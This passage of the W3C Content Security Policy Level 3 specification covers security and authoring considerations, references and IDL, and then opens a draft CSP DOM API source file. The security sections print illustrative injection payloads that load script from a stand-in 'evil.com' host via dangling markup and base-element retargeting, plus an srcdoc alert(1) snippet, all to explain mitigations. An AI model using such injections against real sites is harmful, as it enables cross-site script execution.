Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

7.2. Nonce Stealing

Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015] can be used to repurpose a page’s legitimate nonces for injections. For example, given an injection point before a script element:

<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>

If an attacker injects the string "<script src='https://evil.com/evil.js' ", then the browser will receive the following:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

It will then parse that code, ending up with a script element with a src attribute pointing to a malicious payload, an attribute named </p>, an attribute named "<script", a nonce attribute, and a second src attribute which is helpfully discarded as duplicate by the parser.

The §6.6.2.1 Is element nonceable? algorithm attempts to mitigate this specific attack by walking through script element attributes, looking for the string "<script" or "<style" in their names or values.

7.3. Nonce Retargeting

Nonces bypass host-source expressions, enabling developers to load code from any origin. This, generally, is fine, and desirable from the developer’s perspective. However, if an attacker can inject a base element, then an otherwise safe page can be subverted when relative URLs are resolved. That is, on https://example.com/ the following code will load https://example.com/good.js:

<script nonce=abc src=/good.js></script>

However, the following will load https://evil.com/good.js:

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

To mitigate this risk, it is advisable to set an explicit base element on every page, or to limit the ability of an attacker to inject their own base element by setting a base-uri directive in your page’s policy. For example, base-uri 'none'.

7.4. CSS Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [CSS-ABUSE]. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

7.5. Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that allows https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g. identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the URL of the original request, not the redirect target.

Note also that violation reports should be considered attacker-controlled data. Developers who wish to collect violation reports in a dashboard or similar service should be careful to properly escape their content before rendering it (and should probably themselves use CSP to further mitigate the risk of injection). This is especially true for the "script-sample" property of violation reports, and the sample property of SecurityPolicyViolationEvent, which are both completely attacker-controlled strings.

7.6. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

  • Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.

  • Directly loading https://example.com/redirector would pass, as it matches example.com.

  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.

This restriction reduces the granularity of a document’s policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

7.7. Secure Upgrades

To mitigate one variant of history-scanning attacks like Yan Zhu’s Sniffly, CSP will not allow pages to lock themselves into insecure URLs via policies like script-src http://example.com. As described in §6.6.1.7 scheme-part matching, the scheme portion of a source expression will always allow upgrading to a secure variant.

7.8. CSP Inheriting to avoid bypasses

As described in §4.2.1 Initialize a Document's CSP list and §4.2.2 Initialize a global object’s CSP list, documents loaded from local schemes will inherit a copy of the policies in the CSP list of the embedding document or opener browsing context. The goal is to ensure that a page can’t bypass its policy by embedding a frame or opening a new window containg content that is entirely under its control (srcdoc documents, blob: or data: URLs, about:blank documents that can be manipulated via document.write(), etc).

If this would not happen a page could execute inline scripts even without unsafe-inline in the page’s execution context by simply embedding a srcdoc iframe.
<iframe srcdoc="<script>alert(1);</script>"></iframe>

Note that we create a copy of the CSP list which means that the new Document's CSP list is a snapshot of the relevant policies at its creation time. Modifications in the CSP list of the new Document won’t affect the embedding document or opener browsing context’s CSP list or vice-versa.

In the example below the image inside the iframe will not load because it is blocked by the policy in the meta tag of the iframe. The image outside the iframe will load (assuming the main page policy does not block it) since the policy inserted in the iframe will not affect it.
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                   <img src="not-example.com/image">'></iframe>

<img src="not-example.com/image">

8. Authoring Considerations

8.1. The effect of multiple policies

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

8.2. Usage of "'strict-dynamic'"

Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs. The solutions to Cure53’s H5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3] are good examples of the kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these bypasses via exhaustive declaration of specific resources, those lists end up being brittle, awkward, and difficult to implement and maintain.

The "'strict-dynamic'" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonable list of resources to load up front.

If present in a script-src or default-src directive, it has two main effects:

  1. host-source and scheme-source expressions, as well as the "'unsafe-inline'" and "'self' keyword-sources will be ignored when loading script.

    hash-source and nonce-source expressions will be honored.

  2. Script requests which are triggered by non-"parser-inserted" script elements are allowed.

The first change allows you to deploy "'strict-dynamic' in a backwards compatible way, without requiring user-agent sniffing: the policy 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like 'unsafe-inline' https: in browsers that support CSP1, https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' in browsers that support CSP2, and 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic' in browsers that support CSP3.

The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the page’s policy.

Suppose MegaCorp, Inc. deploys the following policy:
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

And serves the following HTML with that policy active:

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

This will generate a request for https://cdn.example.com/script.js, which will not be blocked because of the matching nonce attribute.

If script.js contains the following code:

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild('s');

document.write('<scr' + 'ipt src='/sadness.js'></scr' + 'ipt>');

dependency.js will load, as the script element created by createElement() is not "parser-inserted".

sadness.js will not load, however, as document.write() produces script elements which are "parser-inserted".

8.3. Usage of "'unsafe-hashed-attributes'"

This section is not normative.

Work in progress. <https://github.com/w3c/webappsec-csp/issues/13>

Legacy websites and websites with legacy dependencies might find it difficult to entirely externalize event handlers. These sites could enable such handlers by allowing 'unsafe-inline', but that’s a big hammer with a lot of associated risk (and cannot be used in conjunction with nonces or hashes).

The "'unsafe-hashed-attributes'" source expression aims to make CSP deployment simpler and safer in these situations by allowing developers to enable specific handlers via hashes.

MegaCorp, Inc. can’t quite get rid of the following HTML on anything resembling a reasonable schedule:
<button id="action" onclick="doSubmit()">

Rather than reducing security by specifying "'unsafe-inline'", they decide to use "'unsafe-hashed-attributes'" along with a hash source expression, as follows:

Content-Security-Policy:  script-src 'unsafe-hashed-attributes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

The capabilities 'unsafe-hashed-attributes' provides is useful for legacy sites, but should be avoided for modern sites. In particular, note that hashes allow a particular script to execute, but do not ensure that it executes in the way a developer intends. If an interesting capability is exposed as an inline event handler (say <a onclick="transferAllMyMoney()">Transfer</a>), then that script becomes available for an attacker to inject as <script>transferAllMyMoney()</script>. Developers should be careful to balance the risk of allowing specific scripts to execute against the deployment advantages that allowing inline event handlers might provide.

8.4. Allowing external JavaScript via hashes

In [CSP2], hash source expressions could only match inlined script, but now that Subresource Integrity is widely deployed, we can expand the scope to enable externalized JavaScript as well.

If multiple sets of integrity metadata are specified for a script, the request will match a policy’s hash-sources if and only if each item in a script's integrity metadata matches the policy.

MegaCorp, Inc. wishes to allow two specific scripts on a page in a way that ensures that the content matches their expectations. They do so by setting the following policy:
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

In the presence of that policy, the following script elements would be allowed to execute because they contain only integrity metadata that matches the policy:

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

While the following script elements would not execute because they contain valid metadata that does not match the policy (even though other metadata does match):

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

Metadata that is not recognized (either because it’s entirely invalid, or because it specifies a not-yet-supported hashing algorithm) does not affect the behavior described here. That is, the following elements would be allowed to execute in the presence of the above policy, as the additional metadata is invalid and therefore wouldn’t allow a script whose content wasn’t listed explicitly in the policy to execute:

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

9. Implementation Considerations

9.1. Vendor-specific Extensions and Addons

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].

Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers.

Chrome, for example, excludes the chrome-extension: scheme from CSP checks, and does some work to ensure that extension-driven injections are allowed, regardless of a page’s policy.

10. IANA Considerations

10.1. Directive Registry

The Content Security Policy Directive registry should be updated with the following directives and references [RFC7762]:

base-uri

This document (see §6.2.1 base-uri)

child-src

This document (see §6.1.1 child-src)

connect-src

This document (see §6.1.2 connect-src)

default-src

This document (see §6.1.3 default-src)

disown-opener

This document (see §6.2.4 disown-opener)

font-src

This document (see §6.1.4 font-src)

form-action

This document (see §6.3.1 form-action)

frame-ancestors

This document (see §6.3.2 frame-ancestors)

frame-src

This document (see §6.1.5 frame-src)

img-src

This document (see §6.1.6 img-src)

manifest-src

This document (see §6.1.7 manifest-src)

media-src

This document (see §6.1.8 media-src)

object-src

This document (see §6.1.9 object-src)

plugin-types

This document (see §6.2.2 plugin-types)

report-uri

This document (see §6.4.1 report-uri)

report-to

This document (see §6.4.2 report-to)

sandbox

This document (see §6.2.3 sandbox)

script-src

This document (see §6.1.10 script-src)

style-src

This document (see §6.1.11 style-src)

worker-src

This document (see §6.1.12 worker-src)

10.2. Headers

The permanent message header field registry should be updated with the following registrations: [RFC3864]

10.2.1. Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See §3.1 The Content-Security-Policy HTTP Response Header Field)

10.2.2. Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See §3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field)

11. Acknowledgements

Lots of people are awesome. For instance:

  • Mario and all of Cure53.

  • Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the rest of Google’s CSP Cabal.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, and “OPTIONAL” in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words “for example” or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word “Note” and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[CSP3]
Mike West. Content Security Policy Level 3. 13 September 2016. WD. URL: https://www.w3.org/TR/CSP3/
[CSS-CASCADE-4]
Elika Etemad; Tab Atkins Jr.. CSS Cascading and Inheritance Level 4. 14 January 2016. CR. URL: https://www.w3.org/TR/css-cascade-4/
[CSSOM]
Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 17 March 2016. WD. URL: https://www.w3.org/TR/cssom-1/
[DOM]
Anne van Kesteren. DOM Standard. Living Standard. URL: https://dom.spec.whatwg.org/
[ECMA262]
Brian Terlson; Allen Wirfs-Brock. ECMAScript® Language Specification. URL: https://tc39.github.io/ecma262/
[FETCH]
Anne van Kesteren. Fetch Standard. Living Standard. URL: https://fetch.spec.whatwg.org/
[HTML]
Anne van Kesteren; et al. HTML Standard. Living Standard. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
Anne van Kesteren; Domenic Denicola. Infra Standard. Living Standard. URL: https://infra.spec.whatwg.org/
[MIMESNIFF]
Gordon P. Hemsley. MIME Sniffing Standard. Living Standard. URL: https://mimesniff.spec.whatwg.org/
[REPORTING]
Ilya Gregorik; Mike West. Reporting API. URL: https://wicg.github.io/reporting/
[RFC2045]
N. Freed; N. Borenstein. Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies. November 1996. Draft Standard. URL: https://tools.ietf.org/html/rfc2045
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: https://tools.ietf.org/html/rfc2119
[RFC3492]
A. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). March 2003. Proposed Standard. URL: https://tools.ietf.org/html/rfc3492
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul. Registration Procedures for Message Header Fields. September 2004. Best Current Practice. URL: https://tools.ietf.org/html/rfc3864
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. January 2005. Internet Standard. URL: https://tools.ietf.org/html/rfc3986
[RFC4648]
S. Josefsson. The Base16, Base32, and Base64 Data Encodings. October 2006. Proposed Standard. URL: https://tools.ietf.org/html/rfc4648
[RFC5234]
D. Crocker, Ed.; P. Overell. Augmented BNF for Syntax Specifications: ABNF. January 2008. Internet Standard. URL: https://tools.ietf.org/html/rfc5234
[RFC7034]
D. Ross; T. Gondrom. HTTP Header Field X-Frame-Options. October 2013. Informational. URL: https://tools.ietf.org/html/rfc7034
[RFC7230]
R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. June 2014. Proposed Standard. URL: https://tools.ietf.org/html/rfc7230
[RFC7231]
R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content. June 2014. Proposed Standard. URL: https://tools.ietf.org/html/rfc7231
[RFC7762]
M. West. Initial Assignment for the Content Security Policy Directives Registry. January 2016. Informational. URL: https://tools.ietf.org/html/rfc7762
[RFC8288]
M. Nottingham. Web Linking. October 2017. Proposed Standard. URL: https://tools.ietf.org/html/rfc8288
[SERVICE-WORKERS-1]
Alex Russell; et al. Service Workers 1. 2 November 2017. WD. URL: https://www.w3.org/TR/service-workers-1/
[SHA2]
FIPS PUB 180-4, Secure Hash Standard. URL: http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf
[SRI]
Devdatta Akhawe; et al. Subresource Integrity. 23 June 2016. REC. URL: https://www.w3.org/TR/SRI/
[URL]
Anne van Kesteren. URL Standard. Living Standard. URL: https://url.spec.whatwg.org/
[WebIDL]
Cameron McCormack; Boris Zbarsky; Tobie Langel. Web IDL. 15 December 2016. ED. URL: https://heycam.github.io/webidl/
[WORKLETS-1]
Ian Kilpatrick. Worklets Level 1. 7 June 2016. WD. URL: https://www.w3.org/TR/worklets-1/

Informative References

[APPMANIFEST]
Marcos Caceres; et al. Web App Manifest. 26 October 2017. WD. URL: https://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik; et al. Beacon. 13 April 2017. CR. URL: https://www.w3.org/TR/beacon/
[CSP2]
Mike West; Adam Barth; Daniel Veditz. Content Security Policy Level 2. 15 December 2016. REC. URL: https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
Chris Evans. Generic cross-browser cross-domain theft. 28 December 2009. URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 3 February 2015. REC. URL: https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
filedescriptor. CSP 2015. 23 November 2015. URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
Mario Heiderich. H5SC Minichallenge 3: "Sh*t, it's CSP!". URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
Anne Van Kesteren; Maciej Stachowiak. HTML Design Principles. URL: https://www.w3.org/TR/html-design-principles/
[MIX]
Mike West. Mixed Content. 2 August 2016. CR. URL: https://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone. Pixel Perfect Timing Attacks with HTML5. URL: http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf
[UISECURITY]
Brad Hill. User Interface Security and the Visibility API. 7 June 2016. WD. URL: https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
Mike West. Upgrade Insecure Requests. 8 October 2015. CR. URL: https://www.w3.org/TR/upgrade-insecure-requests/
[WEBSOCKETS]
Ian Hickson. The WebSocket API. 20 September 2012. CR. URL: https://www.w3.org/TR/websockets/
[XHR]
Anne van Kesteren. XMLHttpRequest Standard. Living Standard. URL: https://xhr.spec.whatwg.org/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: https://www.w3.org/TR/xslt/

IDL Index

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString      documentURI;
    readonly    attribute DOMString      referrer;
    readonly    attribute DOMString      blockedURI;
    readonly    attribute DOMString      violatedDirective;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute DOMString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute long           lineNumber;
    readonly    attribute long           columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString      documentURI;
    DOMString      referrer;
    DOMString      blockedURI;
    DOMString      violatedDirective;
    DOMString      effectiveDirective;
    DOMString      originalPolicy;
    DOMString      sourceFile;
    DOMString      sample;
    SecurityPolicyViolationEventDisposition      disposition;
    unsigned short statusCode;
    long           lineNumber;
    long           columnNumber;
};

Issues Index

unsafe-hashed-attributes is a work in progress. <https://github.com/w3c/webappsec-csp/issues/13>
disown-opener is a work in progress. <https://github.com/w3c/webappsec-csp/issues/194>
navigation-to is a work in progress. <https://github.com/w3c/webappsec-csp/issues/125>
Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].
How, exactly, do we get the status code? We don’t actually store it anywhere.
This concept is missing from W3C’s Workers. <https://github.com/w3c/html/issues/187>
Stylesheet loading is not yet integrated with Fetch in W3C’s HTML. <https://github.com/whatwg/html/issues/198>
Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. <https://github.com/whatwg/html/issues/968>
This hook is missing from W3C’s HTML. <https://github.com/w3c/html/issues/547>
W3C’s HTML is not based on Fetch, and does not have a process a navigate response algorithm into which to hook. <https://github.com/w3c/html/issues/548>
HostEnsureCanCompileStrings() does not include the string which is going to be compiled as a parameter. We’ll also need to update HTML to pipe that value through to CSP. <https://github.com/tc39/ecma262/issues/938>
This needs to be better explained. <https://github.com/w3c/webappsec-csp/issues/212>
Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.
Not sure this is the right model. We need to ensure that we take care of the inverse as well, and there might be a cleverer syntax that could encompass both a document’s opener, and a document’s openees. disown-openee is weird. Maybe disown 'opener' 'openee'? Do we need origin restrictions on either/both?
What should this do in an iframe? Anything?
Spell this out in more detail as part of defining X-Frame-Options integration with the process a navigate response algorithm. <https://github.com/whatwg/html/issues/1230>
Should we use ancestor-source-list (basically, origins as opposed to paths?) It doesn’t appear that blocking navigation targets is any worse than blocking any other request type with regard to leakage. Given the redirect behavior, this devolves to an origin check in the presence of a malicious party anyway...
We need some sort of hook in HTML to record this error if we’re planning on using it here. <https://github.com/whatwg/html/issues/3257>
This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact. <https://github.com/w3c/webappsec-csp/issues/98>
================================================ FILE: api/index.bs ================================================

Content Security Policy: API

spec: ES2015; urlPrefix: http://www.ecma-international.org/ecma-262/6.0/index.html
  type: method
    text: eval(); url: sec-eval-x
spec: DOM; urlPrefix: http://www.w3.org/TR/dom/
  type: interface
    text: Node; url: interface-node
spec: FETCH; urlPrefix: https://fetch.spec.whatwg.org/
  type: dfn
    text: main fetch
    text: parse a header value; url: concept-header-parse
    text: request; url: concept-request
    text: response; url: concept-response
  type: attribute
    text: client; for: Request; url: concept-request-client
    text: url; for: Request; url: concept-request-url
    text: url; for: Response; url: concept-response-url
    text: header list; for: Response; url: concept-response-header-list
  type: interface
    text: Request
spec: HTML5; urlPrefix: http://www.w3.org/TR/html5/
  type: dfn
    urlPrefix: embedded-content-0.html
      text: an iframe srcdoc document
    urlPrefix: browsers.html
      text: active document
      text: browsing context
      text: create a document object
      text: creator document
      text: nested browsing context
      text: nested through; url: browsing-context-nested-through
    urlPrefix: webappapis.html
      text: environment settings object; url: settings-object
      text: global object
      text: incumbent settings object
      text: relevant settings object; url: relevant-settings-object-for-a-global-object
      text: responsible browsing context
    urlPrefix: infrastructure.html
      text: ASCII case-insensitive match; url: ascii-case-insensitive
      text: reflect
      text: strictly split a string
      text: strip leading and trailing whitespace
      text: collect a sequence of characters
      text: space characters
      text: split a string on spaces
      text: split a string on commas
    urlPrefix: document-metadata.html
      text: pragma directives
  type: element
    urlPrefix: document-metadata.html
      text: base; url: the-base-element
      text: head; url: the-head-element
      text: link; url: the-link-element
      text: meta; url: the-meta-element
      text: style; url: the-style-element
    urlPrefix: embedded-content-0.html
      text: iframe; url: the-iframe-element
    urlPrefix: scripting-1.html
      text: script; url: the-script-element
  type: element-attr
    urlPrefix: document-metadata.html
      text: content; for: meta; url: attr-meta-content
      text: http-equiv; for: meta; url: attr-meta-http-equiv
    urlPrefix: embedded-content-0.html
      text: srcdoc; for: iframe; url: attr-iframe-srcdoc
  type: interface
    urlPrefix: dom.html
      text: Document
spec: URL; urlPrefix: https://url.spec.whatwg.org/
  type: dfn
    text: local scheme
  type: attribute
    text: scheme; for: URL; url: concept-url-scheme
  type: interface;
    text: URL
spec: WORKERS; urlPrefix: http://www.w3.org/TR/workers/
  type: interface
    text: Worker
spec: RFC3986; urlPrefix: https://tools.ietf.org/html/rfc3986
  type: grammar
    text: path; url: section-3.3
    text: scheme; url: section-3.1
spec: RFC5234; urlPrefix: https://tools.ietf.org/html/rfc5234
  type: grammar
    text: ALPHA; url: appendix-B.1
    text: DIGIT; url: appendix-B.1
    text: VCHAR; url: appendix-B.1
    text: WSP; url: appendix-B.1
spec: RFC5890; urlPrefix: https://tools.ietf.org/html/rfc5890
  type: dfn
    text: label; url: section-2.2
spec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454
  type: dfn
    text: globally unique identifier; url: section-2.3
    text: origin; url: section-3.2
    text: the same; url: section-5
spec: RFC7230; urlPrefix: https://tools.ietf.org/html/rfc7230
  type: grammar
    text: BWS; url: section-3.2.3
    text: OWS; url: section-3.2.3
    text: RWS; url: section-3.2.3
    text: quoted-string; url: section-3.2.6
    text: token; url: section-3.2.6
spec: RFC7231; urlPrefix: https://tools.ietf.org/html/rfc7231
  type: dfn
    url: section-3
      text: resource representation
      text: representation

spec: HTML; text: run a worker; url: https://html.spec.whatwg.org/multipage/workers.html#run-a-worker; type: dfn

DOM API

Developers may manipulate a page's policy via a JavaScript API which allows construction of {{SecurityPolicy}} objects, and the application of those objects to an environment settings object.

Applying a Policy

A {{SecurityPolicy}} can be applied to an environment settings object via the following interfaces:
    partial interface Window {
      void applySecurityPolicy(SecurityPolicy policy);
    };
  
applySecurityPolicy(policy)
To execute this method, execute [[#apply-to-global-object]] on policy's associated policy and the {{Window}} object.
    partial interface WorkerGlobalScope {
      void applySecurityPolicy(SecurityPolicy policy);
    };
  
applySecurityPolicy(policy)
To execute this method, execute [[#apply-to-global-object]] on policy's associated policy and the {{WorkerGlobalScope}} object.
To apply the policy `script-src 'self'; object-src 'none'` from JavaScript inside a {{Worker}} or {{Document}}, execute the following code:
      var policy = new SecurityPolicy("script-src 'self'; object-src 'none'");
      self.applySecurityPolicy(policy);
    
ISSUE: Maybe this makes more sense as `window.csp.apply()`? Which would also allow `window.csp.enforced` and `window.csp.monitored` as sequences of {{SecurityPolicy}} objects?

`SecurityPolicy` Interface

A policy object is defined via the following IDL:
    enum SecurityPolicyType {
      "enforce",
      "report-only"
    };

    [Constructor(DOMString policy, SecurityPolicyType type), Exposed=(Window,Worker)]
    interface SecurityPolicy {
      boolean requestMatches(Request request);
      boolean nodeMatches(Node node);
  
      readonly attribute FrozenArray<SecurityPolicyDirective> directives;
      readonly attribute SecurityPolicyType type;
      readonly attribute USVString reportingEndpoint;
    };
  
A {{SecurityPolicy}} object has an internal slot named \[[policy]], which contains a policy. Unless otherwise stated, its value is `null`. The directives attribute's getter returns a list of {{SecurityPolicyDirective}}s corresponding to {{SecurityPolicy/[[policy]]}}'s directive set The type attribute's getter returns the value of {{SecurityPolicy/[[policy]]}}'s type. The reportingEndpoint attribute's getter returns the serialization of the value of the directive in {{SecurityPolicy/[[policy]]}}'s directive set with a name of "`report-uri`", if present. If no such directive is present, the empty string is returned. The SecurityPolicy(policy, type) constructor, when invoked, MUST execute the following steps: 1. Let policy list be the result of executing [[#parse-serialized-policy]] on policy. 2. If policy list does not have exactly one element, throw a `SyntaxError` exception, and abort the remaining steps. 3. Set `this@`{{SecurityPolicy/[[policy]]}} to the only element in policy list. 4. Return `this`. The requestMatches(request) method returns `true` if [[#match-request-to-directive-list]] returns `Matches` when executed upon request and {{SecurityPolicy/[[policy]]}}'s directive set, and `false` otherwise. The nodeMatches(node) method returns `true` if [[#match-node-to-directive-list]] returns `Matches` when executed upon node and {{SecurityPolicy/[[policy]]}}'s directive set, and `false` otherwise.

`SecurityPolicyDirective` Interface

Policy objects contain a list of directives, each defined according to the following IDL:
    enum DirectiveName {
      "base-uri",
      "child-src",
      "connect-src",
      "default-src",
      "font-src",
      "form-action",
      "frame-ancestors",
      "img-src",
      "media-src",
      "object-src",
      "plugin-types",
      "report-uri",
      "reports",
      "sandbox",
      "script-src",
      "style-src"
    };

    [Constructor(DOMString name, DOMString value), Exposed=(Window,Worker)]
    interface SecurityPolicyDirective {
      boolean requestMatches(Request request);
      boolean nodeMatches(Node node);

      readonly attribute DirectiveName name;  
    };
  
A {{SecurityPolicyDirective}} object has an internal slot named \[[directive]], which contains a directive. Unless otherwise specified, its value is `null`. The name attribute's getter returns {{SecurityPolicyDirective/[[directive]]}}'s name. The value attribute's getter returns {{SecurityPolicyDirective/[[directive]]}}'s value. The SecurityPolicyDirective(name, value) constructor, when invoked, MUST execute the following steps: 1. If name is not a valid {{DirectiveName}}, throw a `SyntaxError` exception, and abort the remaining steps. 2. Let directive be a new directive with a name of name and a value of value. 3. Set `this@`{{SecurityPolicyDirective/[[directive]]}} to directive. 4. Return `this`. The requestMatches(request) method returns `true`. The nodeMatches(node) method returns `true`. Note: Directives which operate on either {{Request}}s or {{Node}}s are expected to inherit from {{SecurityPolicyDirective}} and override these method implementations. {{SourceListDirective}} is one example of this.

`SourceListDirective` Interface

Directives whose values are source lists are parsed into {{SourceListDirective}} objects (which subclass {{SecurityPolicyDirective}}). These are defined according to the following IDL:
